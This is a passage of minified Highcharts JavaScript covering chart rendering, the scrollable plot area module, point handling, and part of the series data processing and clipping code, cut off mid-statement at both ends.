t=(w=e.borderWidth||0)+(e.shadow?8:0),c={fill:c||"none"},(w||n["stroke-width"])&&(c.stroke=e.borderColor,c["stroke-width"]=w),n.attr(c).shadow(e.shadow);n[b]({x:t/2,y:t/2,width:s-t-w%2,height:o-t-w%2,r:e.borderRadius}),b="animate",a||(b="attr",this.plotBackground=a=i.rect().addClass("highcharts-plot-background").add()),a[b](v),l||(a.attr({fill:d||"none"}).shadow(e.plotShadow),p&&(h?h.animate(v):this.plotBGImage=i.image(p,u,f,g,m).add())),x?x.animate({width:y.width,height:y.height}):this.clipRect=i.clipRect(y),b="animate",r||(b="attr",this.plotBorder=r=i.rect().addClass("highcharts-plot-border").attr({zIndex:1}).add()),l||r.attr({stroke:e.plotBorderColor,"stroke-width":e.plotBorderWidth||0,fill:"none"}),r[b](r.crisp({x:u,y:f,width:g,height:m},-r.strokeWidth())),this.isDirtyBox=!1,A(this,"afterDrawChartBox")},propFromSeries:function(){var t,e,i,s=this,o=s.options.chart,n=s.options.series;["inverted","angular","polar"].forEach((function(a){for(t=_[o.type||o.defaultSeriesType],i=o[a]||t&&t.prototype[a],e=n&&n.length;!i&&e--;)(t=_[n[e].type])&&t.prototype[a]&&(i=!0);s[a]=i}))},linkSeries:function(){var t=this,e=t.series;e.forEach((function(t){t.linkedSeries.length=0})),e.forEach((function(e){var i=e.options.linkedTo;c(i)&&(i=":previous"===i?t.series[e.index-1]:t.get(i))&&i.linkedParent!==e&&(i.linkedSeries.push(e),e.linkedParent=i,e.visible=p(e.options.visible,i.options.visible,e.visible))})),A(this,"afterLinkSeries")},renderSeries:function(){this.series.forEach((function(t){t.translate(),t.render()}))},renderLabels:function(){var t=this,e=t.options.labels;e.items&&e.items.forEach((function(i){var s=a(e.style,i.style),o=u(s.left)+t.plotLeft,n=u(s.top)+t.plotTop+12;delete s.left,delete s.top,t.renderer.text(i.html,o,n).attr({zIndex:2}).css(s).add()}))},render:function(){var t=this.axes,e=this.colorAxis,i=this.renderer,s=this.options,o=0,n=function(t){t.forEach((function(t){t.visible&&t.render()}))};this.setTitle(),this.legend=new E(this,s.legend),this.getStacks&&this.getStacks(),this.getMargins(!0),this.setChartSize(),s=this.plotWidth,t.some((function(t){if(t.horiz&&t.visible&&t.options.labels.enabled&&t.series.length)return o=21,!0}));var a=this.plotHeight=Math.max(this.plotHeight-o,0);t.forEach((function(t){t.setScale()})),this.getAxisMargins();var r=1.1<s/this.plotWidth,l=1.05<a/this.plotHeight;(r||l)&&(t.forEach((function(t){(t.horiz&&r||!t.horiz&&l)&&t.setTickInterval(!0)})),this.getMargins()),this.drawChartBox(),this.hasCartesianSeries?n(t):e&&e.length&&n(e),this.seriesGroup||(this.seriesGroup=i.g("series-group").attr({zIndex:3}).add()),this.renderSeries(),this.renderLabels(),this.addCredits(),this.setResponsive&&this.setResponsive(),this.updateContainerScaling(),this.hasRendered=!0},addCredits:function(t){var e=this;(t=O(!0,this.options.credits,t)).enabled&&!this.credits&&(this.credits=this.renderer.text(t.text+(this.mapCredits||""),0,0).addClass("highcharts-credits").on("click",(function(){t.href&&(I.location.href=t.href)})).attr({align:t.position.align,zIndex:8}),e.styledMode||this.credits.css(t.style),this.credits.add().align(t.position),this.credits.update=function(t){e.credits=e.credits.destroy(),e.addCredits(t)})},updateContainerScaling:function(){var t=this.container;if(t.offsetWidth&&t.offsetHeight&&t.getBoundingClientRect){var e=t.getBoundingClientRect(),i=e.width/t.offsetWidth;t=e.height/t.offsetHeight,1!==i||1!==t?this.containerScaling={scaleX:i,scaleY:t}:delete this.containerScaling}},destroy:function(){var e,i=this,s=i.axes,a=i.series,r=i.container,l=r&&r.parentNode;for(A(i,"destroy"),i.renderer.forExport?n(S,i):S[i.index]=void 0,t.chartCount--,i.renderTo.removeAttribute("data-highcharts-chart"),D(i),e=s.length;e--;)s[e]=s[e].destroy();for(this.scroller&&this.scroller.destroy&&this.scroller.destroy(),e=a.length;e--;)a[e]=a[e].destroy();"title subtitle chartBackground plotBackground plotBGImage plotBorder seriesGroup clipRect credits pointer rangeSelector legend resetZoomButton tooltip renderer".split(" ").forEach((function(t){var e=i[t];e&&e.destroy&&(i[t]=e.destroy())})),r&&(r.innerHTML="",D(r),l&&o(r)),d(i,(function(t,e){delete i[e]}))},firstRender:function(){var t=this,e=t.options;t.isReadyToRender&&!t.isReadyToRender()||(t.getContainer(),t.resetMargins(),t.setChartSize(),t.propFromSeries(),t.getAxes(),(r(e.series)?e.series:[]).forEach((function(e){t.initSeries(e)})),t.linkSeries(),A(t,"beforeRender"),L&&(t.pointer=new L(t,e)),t.render(),!t.renderer.imgCount&&t.onload&&t.onload(),t.temporaryDisplay(!0))},onload:function(){this.callbacks.concat([this.callback]).forEach((function(t){t&&void 0!==this.index&&t.apply(this,[this])}),this),A(this,"load"),A(this,"render"),s(this.index)&&this.setReflow(this.options.chart.reflow),this.onload=null}})})),e(i,"parts/ScrollablePlotArea.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.pick,s=t.addEvent;e=t.Chart,s(e,"afterSetChartSize",(function(e){var i=this.options.chart.scrollablePlotArea,s=i&&i.minWidth;if(i=i&&i.minHeight,!this.renderer.forExport){if(s){if(this.scrollablePixelsX=s=Math.max(0,s-this.chartWidth)){this.plotWidth+=s,this.inverted?(this.clipBox.height+=s,this.plotBox.height+=s):(this.clipBox.width+=s,this.plotBox.width+=s);var o={1:{name:"right",value:s}}}}else i&&(this.scrollablePixelsY=s=Math.max(0,i-this.chartHeight))&&(this.plotHeight+=s,this.inverted?(this.clipBox.width+=s,this.plotBox.width+=s):(this.clipBox.height+=s,this.plotBox.height+=s),o={2:{name:"bottom",value:s}});o&&!e.skipAxes&&this.axes.forEach((function(e){o[e.side]?e.getPlotLinePath=function(){var i=o[e.side].name,s=this[i];this[i]=s-o[e.side].value;var n=t.Axis.prototype.getPlotLinePath.apply(this,arguments);return this[i]=s,n}:(e.setAxisSize(),e.setAxisTranslation())}))}})),s(e,"render",(function(){this.scrollablePixelsX||this.scrollablePixelsY?(this.setUpScrolling&&this.setUpScrolling(),this.applyFixed()):this.fixedDiv&&this.applyFixed()})),e.prototype.setUpScrolling=function(){var e={WebkitOverflowScrolling:"touch",overflowX:"hidden",overflowY:"hidden"};this.scrollablePixelsX&&(e.overflowX="auto"),this.scrollablePixelsY&&(e.overflowY="auto"),this.scrollingContainer=t.createElement("div",{className:"highcharts-scrolling"},e,this.renderTo),this.innerContainer=t.createElement("div",{className:"highcharts-inner-container"},null,this.scrollingContainer),this.innerContainer.appendChild(this.container),this.setUpScrolling=null},e.prototype.moveFixedElements=function(){var t,e=this.container,i=this.fixedRenderer,s=".highcharts-contextbutton .highcharts-credits .highcharts-legend .highcharts-legend-checkbox .highcharts-navigator-series .highcharts-navigator-xaxis .highcharts-navigator-yaxis .highcharts-navigator .highcharts-reset-zoom .highcharts-scrollbar .highcharts-subtitle .highcharts-title".split(" ");this.scrollablePixelsX&&!this.inverted?t=".highcharts-yaxis":this.scrollablePixelsX&&this.inverted||this.scrollablePixelsY&&!this.inverted?t=".highcharts-xaxis":this.scrollablePixelsY&&this.inverted&&(t=".highcharts-yaxis"),s.push(t,t+"-labels"),s.forEach((function(t){[].forEach.call(e.querySelectorAll(t),(function(t){(t.namespaceURI===i.SVG_NS?i.box:i.box.parentNode).appendChild(t),t.style.pointerEvents="auto"}))}))},e.prototype.applyFixed=function(){var e,o=!this.fixedDiv,n=this.options.chart.scrollablePlotArea;o?(this.fixedDiv=t.createElement("div",{className:"highcharts-fixed"},{position:"absolute",overflow:"hidden",pointerEvents:"none",zIndex:2},null,!0),this.renderTo.insertBefore(this.fixedDiv,this.renderTo.firstChild),this.renderTo.style.overflow="visible",this.fixedRenderer=e=new t.Renderer(this.fixedDiv,this.chartWidth,this.chartHeight),this.scrollableMask=e.path().attr({fill:t.color(this.options.chart.backgroundColor||"#fff").setOpacity(i(n.opacity,.85)).get(),zIndex:-1}).addClass("highcharts-scrollable-mask").add(),this.moveFixedElements(),s(this,"afterShowResetZoom",this.moveFixedElements),s(this,"afterLayOutTitles",this.moveFixedElements)):this.fixedRenderer.setSize(this.chartWidth,this.chartHeight),e=this.chartWidth+(this.scrollablePixelsX||0);var a=this.chartHeight+(this.scrollablePixelsY||0);t.stop(this.container),this.container.style.width=e+"px",this.container.style.height=a+"px",this.renderer.boxWrapper.attr({width:e,height:a,viewBox:[0,0,e,a].join(" ")}),this.chartBackground.attr({width:e,height:a}),this.scrollablePixelsY&&(this.scrollingContainer.style.height=this.chartHeight+"px"),o&&(n.scrollPositionX&&(this.scrollingContainer.scrollLeft=this.scrollablePixelsX*n.scrollPositionX),n.scrollPositionY&&(this.scrollingContainer.scrollTop=this.scrollablePixelsY*n.scrollPositionY)),a=this.axisOffset,o=this.plotTop-a[0]-1,n=this.plotLeft-a[3]-1,e=this.plotTop+this.plotHeight+a[2]+1,a=this.plotLeft+this.plotWidth+a[1]+1;var r=this.plotLeft+this.plotWidth-(this.scrollablePixelsX||0),l=this.plotTop+this.plotHeight-(this.scrollablePixelsY||0);o=this.scrollablePixelsX?["M",0,o,"L",this.plotLeft-1,o,"L",this.plotLeft-1,e,"L",0,e,"Z","M",r,o,"L",this.chartWidth,o,"L",this.chartWidth,e,"L",r,e,"Z"]:this.scrollablePixelsY?["M",n,0,"L",n,this.plotTop-1,"L",a,this.plotTop-1,"L",a,0,"Z","M",n,l,"L",n,this.chartHeight,"L",a,this.chartHeight,"L",a,l,"Z"]:["M",0,0],"adjustHeight"!==this.redrawTrigger&&this.scrollableMask.attr({d:o})}})),e(i,"parts/Point.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i,s=e.defined,o=e.erase,n=e.extend,a=e.isArray,r=e.isNumber,l=e.isObject,h=e.pick,c=t.fireEvent,d=t.format,p=t.uniqueKey,u=t.removeEvent;t.Point=i=function(){},t.Point.prototype={init:function(t,e,i){return this.series=t,this.applyOptions(e,i),this.id=s(this.id)?this.id:p(),this.resolveColor(),t.chart.pointCount++,c(this,"afterInit"),this},resolveColor:function(){var t=this.series,e=t.chart.options.chart.colorCount,i=t.chart.styledMode;i||this.options.color||(this.color=t.color),t.options.colorByPoint?(i||(e=t.options.colors||t.chart.options.colors,this.color=this.color||e[t.colorCounter],e=e.length),i=t.colorCounter,t.colorCounter++,t.colorCounter===e&&(t.colorCounter=0)):i=t.colorIndex,this.colorIndex=h(this.colorIndex,i)},applyOptions:function(t,e){var s=this.series,o=s.options.pointValKey||s.pointValKey;return t=i.prototype.optionsToObject.call(this,t),n(this,t),this.options=this.options?n(this.options,t):t,t.group&&delete this.group,t.dataLabels&&delete this.dataLabels,o&&(this.y=this[o]),this.formatPrefix=(this.isNull=h(this.isValid&&!this.isValid(),null===this.x||!r(this.y)))?"null":"point",this.selected&&(this.state="select"),"name"in this&&void 0===e&&s.xAxis&&s.xAxis.hasNames&&(this.x=s.xAxis.nameToX(this)),void 0===this.x&&s&&(this.x=void 0===e?s.autoIncrement(this):e),this},setNestedProperty:function(t,e,i){return i.split(".").reduce((function(t,i,s,o){return t[i]=o.length-1===s?e:l(t[i],!0)?t[i]:{},t[i]}),t),t},optionsToObject:function(e){var i={},s=this.series,o=s.options.keys,n=o||s.pointArrayMap||["y"],l=n.length,h=0,c=0;if(r(e)||null===e)i[n[0]]=e;else if(a(e))for(!o&&e.length>l&&("string"==(s=typeof e[0])?i.name=e[0]:"number"===s&&(i.x=e[0]),h++);c<l;)o&&void 0===e[h]||(0<n[c].indexOf(".")?t.Point.prototype.setNestedProperty(i,e[h],n[c]):i[n[c]]=e[h]),h++,c++;else"object"==typeof e&&(i=e,e.dataLabels&&(s._hasPointLabels=!0),e.marker&&(s._hasPointMarkers=!0));return i},getClassName:function(){return"highcharts-point"+(this.selected?" highcharts-point-select":"")+(this.negative?" highcharts-negative":"")+(this.isNull?" highcharts-null-point":"")+(void 0!==this.colorIndex?" highcharts-color-"+this.colorIndex:"")+(this.options.className?" "+this.options.className:"")+(this.zone&&this.zone.className?" "+this.zone.className.replace("highcharts-negative",""):"")},getZone:function(){var t=this.series,e=t.zones;t=t.zoneAxis||"y";var i,s=0;for(i=e[s];this[t]>=i.value;)i=e[++s];return this.nonZonedColor||(this.nonZonedColor=this.color),this.color=i&&i.color&&!this.options.color?i.color:this.nonZonedColor,i},hasNewShapeType:function(){return this.graphic&&this.graphic.element.nodeName!==this.shapeType},destroy:function(){var t,e=this.series.chart,i=e.hoverPoints;for(t in e.pointCount--,i&&(this.setState(),o(i,this),i.length||(e.hoverPoints=null)),this===e.hoverPoint&&this.onMouseOut(),(this.graphic||this.dataLabel||this.dataLabels)&&(u(this),this.destroyElements()),this.legendItem&&e.legend.destroyItem(this),this)this[t]=null},destroyElements:function(t){var e,i=this,s=[];for((t=t||{graphic:1,dataLabel:1}).graphic&&s.push("graphic","shadowGroup"),t.dataLabel&&s.push("dataLabel","dataLabelUpper","connector"),e=s.length;e--;){var o=s[e];i[o]&&(i[o]=i[o].destroy())}["dataLabel","connector"].forEach((function(e){var s=e+"s";t[e]&&i[s]&&(i[s].forEach((function(t){t.element&&t.destroy()})),delete i[s])}))},getLabelConfig:function(){return{x:this.category,y:this.y,color:this.color,colorIndex:this.colorIndex,key:this.name||this.category,series:this.series,point:this,percentage:this.percentage,total:this.total||this.stackTotal}},tooltipFormatter:function(t){var e=this.series,i=e.tooltipOptions,s=h(i.valueDecimals,""),o=i.valuePrefix||"",n=i.valueSuffix||"";return e.chart.styledMode&&(t=e.chart.tooltip.styledModeFormat(t)),(e.pointArrayMap||["y"]).forEach((function(e){e="{point."+e,(o||n)&&(t=t.replace(RegExp(e+"}","g"),o+e+"}"+n)),t=t.replace(RegExp(e+"}","g"),e+":,."+s+"f}")})),d(t,{point:this,series:this.series},e.chart.time)},firePointEvent:function(t,e,i){var s=this,o=this.series.options;(o.point.events[t]||s.options&&s.options.events&&s.options.events[t])&&this.importEvents(),"click"===t&&o.allowPointSelect&&(i=function(t){s.select&&s.select(null,t.ctrlKey||t.metaKey||t.shiftKey)}),c(this,t,e,i)},visible:!0}})),e(i,"parts/Series.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.arrayMax,s=e.arrayMin,o=e.defined,n=e.erase,a=e.extend,r=e.isArray,l=e.isNumber,h=e.isString,c=e.objectEach,d=e.pick,p=e.splat,u=e.syncTimeout,f=t.addEvent,g=t.animObject,m=t.correctFloat,v=t.defaultOptions,x=t.defaultPlotOptions,y=t.fireEvent,b=t.merge,w=t.removeEvent,k=t.SVGElement,M=t.win;t.Series=t.seriesType("line",null,{lineWidth:2,allowPointSelect:!1,showCheckbox:!1,animation:{duration:1e3},events:{},marker:{lineWidth:0,lineColor:"#ffffff",enabledThreshold:2,radius:4,states:{normal:{animation:!0},hover:{animation:{duration:50},enabled:!0,radiusPlus:2,lineWidthPlus:1},select:{fillColor:"#cccccc",lineColor:"#000000",lineWidth:2}}},point:{events:{}},dataLabels:{align:"center",formatter:function(){return null===this.y?"":t.numberFormat(this.y,-1)},padding:5,style:{fontSize:"11px",fontWeight:"bold",color:"contrast",textOutline:"1px contrast"},verticalAlign:"bottom",x:0,y:0},cropThreshold:300,opacity:1,pointRange:0,softThreshold:!0,states:{normal:{animation:!0},hover:{animation:{duration:50},lineWidthPlus:1,marker:{},halo:{size:10,opacity:.25}},select:{animation:{duration:0}},inactive:{animation:{duration:50},opacity:.2}},stickyTracking:!0,turboThreshold:1e3,findNearestPointBy:"x"},{axisTypes:["xAxis","yAxis"],coll:"series",colorCounter:0,cropShoulder:1,directTouch:!1,isCartesian:!0,parallelArrays:["x","y"],pointClass:t.Point,requireSorting:!0,sorted:!0,init:function(e,i){y(this,"init",{options:i});var s,o=this,n=e.series;this.eventOptions=this.eventOptions||{},o.chart=e,o.options=i=o.setOptions(i),o.linkedSeries=[],o.bindAxes(),a(o,{name:i.name,state:"",visible:!1!==i.visible,selected:!0===i.selected});var r=i.events;c(r,(function(e,i){t.isFunction(e)&&o.eventOptions[i]!==e&&(t.isFunction(o.eventOptions[i])&&w(o,i,o.eventOptions[i]),o.eventOptions[i]=e,f(o,i,e))})),(r&&r.click||i.point&&i.point.events&&i.point.events.click||i.allowPointSelect)&&(e.runTrackerClick=!0),o.getColor(),o.getSymbol(),o.parallelArrays.forEach((function(t){o[t+"Data"]||(o[t+"Data"]=[])})),o.points||o.data||o.setData(i.data,!1),o.isCartesian&&(e.hasCartesianSeries=!0),n.length&&(s=n[n.length-1]),o._i=d(s&&s._i,-1)+1,e.orderSeries(this.insert(n)),y(this,"afterInit")},insert:function(t){var e,i=this.options.index;if(l(i)){for(e=t.length;e--;)if(i>=d(t[e].options.index,t[e]._i)){t.splice(e+1,0,this);break}-1===e&&t.unshift(this),e+=1}else t.push(this);return d(e,t.length-1)},bindAxes:function(){var e,i=this,s=i.options,o=i.chart;y(this,"bindAxes",null,(function(){(i.axisTypes||[]).forEach((function(n){o[n].forEach((function(t){e=t.options,(s[n]===e.index||void 0!==s[n]&&s[n]===e.id||void 0===s[n]&&0===e.index)&&(i.insert(t.series),i[n]=t,t.isDirty=!0)})),i[n]||i.optionalAxis===n||t.error(18,!0,o)}))}))},updateParallelArrays:function(t,e){var i=t.series,s=arguments,o=l(e)?function(s){var o="y"===s&&i.toYData?i.toYData(t):t[s];i[s+"Data"][e]=o}:function(t){Array.prototype[e].apply(i[t+"Data"],Array.prototype.slice.call(s,2))};i.parallelArrays.forEach(o)},hasData:function(){return this.visible&&void 0!==this.dataMax&&void 0!==this.dataMin||this.visible&&this.yData&&0<this.yData.length},autoIncrement:function(){var t,e=this.options,i=this.xIncrement,s=e.pointIntervalUnit,o=this.chart.time;return i=d(i,e.pointStart,0),this.pointInterval=t=d(this.pointInterval,e.pointInterval,1),s&&(e=new o.Date(i),"day"===s?o.set("Date",e,o.get("Date",e)+t):"month"===s?o.set("Month",e,o.get("Month",e)+t):"year"===s&&o.set("FullYear",e,o.get("FullYear",e)+t),t=e.getTime()-i),this.xIncrement=i+t,i},setOptions:function(t){var e=this.chart,i=e.options,s=i.plotOptions,n=e.userOptions||{};t=b(t),e=e.styledMode;var a={plotOptions:s,userOptions:t};y(this,"setOptions",a);var r=a.plotOptions[this.type],l=n.plotOptions||{};return this.userOptions=a.userOptions,n=b(r,s.series,n.plotOptions&&n.plotOptions[this.type],t),this.tooltipOptions=b(v.tooltip,v.plotOptions.series&&v.plotOptions.series.tooltip,v.plotOptions[this.type].tooltip,i.tooltip.userOptions,s.series&&s.series.tooltip,s[this.type].tooltip,t.tooltip),this.stickyTracking=d(t.stickyTracking,l[this.type]&&l[this.type].stickyTracking,l.series&&l.series.stickyTracking,!(!this.tooltipOptions.shared||this.noSharedTooltip)||n.stickyTracking),null===r.marker&&delete n.marker,this.zoneAxis=n.zoneAxis,i=this.zones=(n.zones||[]).slice(),!n.negativeColor&&!n.negativeFillColor||n.zones||(s={value:n[this.zoneAxis+"Threshold"]||n.threshold||0,className:"highcharts-negative"},e||(s.color=n.negativeColor,s.fillColor=n.negativeFillColor),i.push(s)),i.length&&o(i[i.length-1].value)&&i.push(e?{}:{color:this.color,fillColor:this.fillColor}),y(this,"afterSetOptions",{options:n}),n},getName:function(){return d(this.options.name,"Series "+(this.index+1))},getCyclic:function(t,e,i){var s=this.chart,n=this.userOptions,a=t+"Index",r=t+"Counter",l=i?i.length:d(s.options.chart[t+"Count"],s[t+"Count"]);if(!e){var h=d(n[a],n["_"+a]);o(h)||(s.series.length||(s[r]=0),n["_"+a]=h=s[r]%l,s[r]+=1),i&&(e=i[h])}void 0!==h&&(this[a]=h),this[t]=e},getColor:function(){this.chart.styledMode?this.getCyclic("color"):this.options.colorByPoint?this.options.color=null:this.getCyclic("color",this.options.color||x[this.type].color,this.chart.options.colors)},getSymbol:function(){this.getCyclic("symbol",this.options.marker.symbol,this.chart.options.symbols)},findPointIndex:function(t,e){var i=t.id;t=t.x;var s,o=this.points;if(i){var n=(i=this.chart.get(i))&&i.index;void 0!==n&&(s=!0)}return void 0===n&&l(t)&&(n=this.xData.indexOf(t,e)),-1!==n&&void 0!==n&&this.cropped&&(n=n>=this.cropStart?n-this.cropStart:n),!s&&o[n]&&o[n].touched&&(n=void 0),n},drawLegendSymbol:t.LegendSymbolMixin.drawLineMarker,updateData:function(t){var e,i,s,n=this.options,a=this.points,r=[],h=this.requireSorting,c=t.length===a.length,d=!0;if(this.xIncrement=null,t.forEach((function(t,i){var d=o(t)&&this.pointClass.prototype.optionsToObject.call({series:this},t)||{},p=d.x;(d.id||l(p))&&(-1===(p=this.findPointIndex(d,s))||void 0===p?r.push(t):a[p]&&t!==n.data[p]?(a[p].update(t,!1,null,!1),a[p].touched=!0,h&&(s=p+1)):a[p]&&(a[p].touched=!0),(!c||i!==p||this.hasDerivedData)&&(e=!0))}),this),e)for(t=a.length;t--;)(i=a[t])&&!i.touched&&i.remove(!1);else c?t.forEach((function(t,e){a[e].update&&t!==a[e].y&&a[e].update(t,!1,null,!1)})):d=!1;return a.forEach((function(t){t&&(t.touched=!1)})),!!d&&(r.forEach((function(t){this.addPoint(t,!1,null,null,!1)}),this),!0)},setData:function(e,i,s,o){var n,a=this,c=a.points,p=c&&c.length||0,u=a.options,f=a.chart,g=null,m=a.xAxis;g=u.turboThreshold;var v,x=this.xData,y=this.yData,b=(n=a.pointArrayMap)&&n.length,w=u.keys,k=0,M=1;if(n=(e=e||[]).length,i=d(i,!0),!1!==o&&n&&p&&!a.cropped&&!a.hasGroupedData&&a.visible&&!a.isSeriesBoosting&&(v=this.updateData(e)),!v){if(a.xIncrement=null,a.colorCounter=0,this.parallelArrays.forEach((function(t){a[t+"Data"].length=0})),g&&n>g)if(g=a.getFirstValidPoint(e),l(g))for(s=0;s<n;s++)x[s]=this.autoIncrement(),y[s]=e[s];else if(r(g))if(b)for(s=0;s<n;s++)o=e[s],x[s]=o[0],y[s]=o.slice(1,b+1);else for(w&&(k=0<=(k=w.indexOf("x"))?k:0,M=0<=(M=w.indexOf("y"))?M:1),s=0;s<n;s++)o=e[s],x[s]=o[k],y[s]=o[M];else t.error(12,!1,f);else for(s=0;s<n;s++)void 0!==e[s]&&(o={series:a},a.pointClass.prototype.applyOptions.apply(o,[e[s]]),a.updateParallelArrays(o,s));for(y&&h(y[0])&&t.error(14,!0,f),a.data=[],a.options.data=a.userOptions.data=e,s=p;s--;)c[s]&&c[s].destroy&&c[s].destroy();m&&(m.minRange=m.userMinRange),a.isDirty=f.isDirtyBox=!0,a.isDirtyData=!!c,s=!1}"point"===u.legendType&&(this.processData(),this.generatePoints()),i&&f.redraw(s)},processData:function(e){var i=this.xData,s=this.yData,o=i.length,n=0,a=this.xAxis,r=this.options,l=r.cropThreshold,h=this.getExtremesFromAll||r.getExtremesFromAll,c=this.isCartesian;r=a&&a.val2lin;var d=a&&a.isLog,p=this.requireSorting;if(c&&!this.isDirty&&!a.isDirty&&!this.yAxis.isDirty&&!e)return!1;if(a)var u=(e=a.getExtremes()).min,f=e.max;if(c&&this.sorted&&!h&&(!l||o>l||this.forceCrop))if(i[o-1]<u||i[0]>f)i=[],s=[];else if(this.yData&&(i[0]<u||i[o-1]>f)){i=(n=this.cropData(this.xData,this.yData,u,f)).xData,s=n.yData,n=n.start;var g=!0}for(l=i.length||1;--l;)if(0<(o=d?r(i[l])-r(i[l-1]):i[l]-i[l-1])&&(void 0===m||o<m))var m=o;else 0>o&&p&&(t.error(15,!1,this.chart),p=!1);this.cropped=g,this.cropStart=n,this.processedXData=i,this.processedYData=s,this.closestPointRange=this.basePointRange=m},cropData:function(t,e,i,s,o){var n,a=t.length,r=0,l=a;for(o=d(o,this.cropShoulder),n=0;n<a;n++)if(t[n]>=i){r=Math.max(0,n-o);break}for(i=n;i<a;i++)if(t[i]>s){l=i+o;break}return{xData:t.slice(r,l),yData:e.slice(r,l),start:r,end:l}},generatePoints:function(){var t,e=this.options,i=e.data,s=this.data,o=this.processedXData,n=this.processedYData,r=this.pointClass,l=o.length,h=this.cropStart||0,c=this.hasGroupedData;e=e.keys;var d,u=[];for(s||c||((s=[]).length=i.length,s=this.data=s),e&&c&&(this.options.keys=!1),d=0;d<l;d++){var f=h+d;if(c){var g=(new r).init(this,[o[d]].concat(p(n[d])));g.dataGroup=this.groupMap[d],g.dataGroup.options&&(g.options=g.dataGroup.options,a(g,g.dataGroup.options),delete g.dataLabels)}else(g=s[f])||void 0===i[f]||(s[f]=g=(new r).init(this,i[f],o[d]));g&&(g.index=f,u[d]=g)}if(this.options.keys=e,s&&(l!==(t=s.length)||c))for(d=0;d<t;d++)d!==h||c||(d+=l),s[d]&&(s[d].destroyElements(),s[d].plotX=void 0);this.data=s,this.points=u,y(this,"afterGeneratePoints")},getXExtremes:function(t){return{min:s(t),max:i(t)}},getExtremes:function(t){var e,o=this.xAxis,n=this.yAxis,a=this.processedXData||this.xData,h=[],c=0,d=0,p=0,u=this.requireSorting?this.cropShoulder:0,f=!!n&&n.positiveValuesOnly;for(n=(t=t||this.stackedYData||this.processedYData||[]).length,o&&(d=(p=o.getExtremes()).min,p=p.max),e=0;e<n;e++){var g=a[e],m=t[e],v=(l(m)||r(m))&&(m.length||0<m||!f);if(g=this.getExtremesFromAll||this.options.getExtremesFromAll||this.cropped||!o||(a[e+u]||g)>=d&&(a[e-u]||g)<=p,v&&g)if(v=m.length)for(;v--;)l(m[v])&&(h[c++]=m[v]);else h[c++]=m}this.dataMin=s(h),this.dataMax=i(h),y(this,"afterGetExtremes")},getFirstValidPoint:function(t){for(var e=null,i=t.length,s=0;null===e&&s<i;)e=t[s],s++;return e},translate:function(){this.processedXData||this.processData(),this.generatePoints();var t,e,i=this.options,s=i.stacking,n=this.xAxis,a=n.categories,h=this.yAxis,c=this.points,p=c.length,u=!!this.modifyValue,f=this.pointPlacementToXValue(),g=l(f),v=i.threshold,x=i.startFromThreshold?v:0,b=this.zoneAxis||"y",w=Number.MAX_VALUE;for(t=0;t<p;t++){var k=c[t],M=k.x,S=k.y,T=k.low,C=s&&h.stacks[(this.negStacks&&S<(x?0:v)?"-":"")+this.stackKey];if(h.positiveValuesOnly&&null!==S&&0>=S&&(k.isNull=!0),k.plotX=e=m(Math.min(Math.max(-1e5,n.translate(M,0,0,0,1,f,"flags"===this.type)),1e5)),s&&this.visible&&C&&C[M]){var A=this.getStackIndicator(A,M,this.index);if(!k.isNull)var E=C[M],P=E.points[A.key]}if(r(P)&&(T=P[0],S=P[1],T===x&&A.key===C[M].base&&(T=d(l(v)&&v,h.min)),h.positiveValuesOnly&&0>=T&&(T=null),k.total=k.stackTotal=E.total,k.percentage=E.total&&k.y/E.total*100,k.stackY=S,this.irregularWidths||E.setOffset(this.pointXOffset||0,this.barW||0)),k.yBottom=o(T)?Math.min(Math.max(-1e5,h.translate(T,0,1,0,1)),1e5):null,u&&(S=this.modifyValue(S,k)),k.plotY=S="number"==typeof S&&1/0!==S?Math.min(Math.max(-1e5,h.translate(S,0,1,0,1)),1e5):void 0,k.isInside=void 0!==S&&0<=S&&S<=h.len&&0<=e&&e<=n.len,k.clientX=g?m(n.translate(M,0,0,0,1,f)):e,k.negative=k[b]<(i[b+"Threshold"]||v||0),k.category=a&&void 0!==a[k.x]?a[k.x]:k.x,!k.isNull){void 0!==O&&(w=Math.min(w,Math.abs(e-O)));var O=e}k.zone=this.zones.length&&k.getZone()}this.closestPointRangePx=w,y(this,"afterTranslate")},getValidPoints:function(t,e,i){var s=this.chart;return(t||this.points||[]).filter((function(t){return!(e&&!s.isInsidePlot(t.plotX,t.plotY,s.inverted))&&(i||!t.isNull)}))},getClipBox:function(t,e){var i=this.options,s=this.chart,o=s.inverted,n=this.xAxis,a=n&&this.yAxis;return t&&!1===i.clip&&a?t=o?{y:-s.chartWidth+a.len+a.pos,height:s.chartWidth,width:s.chartHeight,x:-s.chartHeight+n.len+n.pos}:{y:-a.pos,height:s.chartHeight,width:s.chartWidth,x:-n.pos}:(t=this.clipBox||s.clipBox,e&&(t.width=s.plotSizeX,t.x=0)),e?{width:t.width,x:t.x}:t},setClip:function(t){var e=this.chart,i=this.options,s=e.renderer,o=e.inverted,n=this.clipBox,a=this.getClipBox(t),r=this.sharedClipKey||["_sharedClip",t&&t.duration,t&&t.easing,a.height,i.xAxis,i.yAxis].join(),l=e[r],h=e[r+"m"];l||(t&&(a.width=0,o&&(a.x=e.plotSizeX+(!1!==i.clip?0:e.plotTop)),e[r+"m"]=h=s.clipRect(o?e.plotSizeX+99:-99,o?-e.plotLeft:-e.plotTop,99,o?e.chartWidth:e.chartHeight)),e[r]=l=s.clipRect(a),l.count={length:0}),t&&!l.count[this.index]&&(l.count[this.index]=!0,l.count.length+=1),(!1!==i.clip||t)&&(this.group.clip(t||n?l:e.clipRect),this.markerGroup.clip(h),this.sharedClipKey=r),t||(l.count[this.index]&&(delete l.count[this.index],--l.count.length),0===l.count.length&&r&&e[r]&&(n||(e[r]=e[r].destroy()),e[r+"m"]&&(e[r+"m"]=e[r+"m"].destroy())))},animate:function(t){var e=this.chart,i=g(this.options.animation);if(t)this.setClip(i);else{var s=this.sharedClipKey;t=e[s];var o=this.getClipBox(i,!0);t&&t.animate(o,i),e[s+"m"]&&e[s+"m"].animate({width:o.width+99,x:o.x-(e.inverted?0:99)},i),this.animate=null}},afterAnimate:function(){this.setClip(),y(this,"afterAnimate"),this.finishedAnimating=!0},drawPoints:function(){var t,e=this.points,i=this.chart,s=this.options.marker,o=this[this.specialGroup]||this.markerGroup,n=this.xAxis,a=d(s.enabled,!(n&&!n.isRadial)||null,this.closestPointRangePx>=s.enabledThreshold*s.radius);if(!1!==s.enabled||this._hasPointMarkers)for(n=0;n<e.length;n++){var 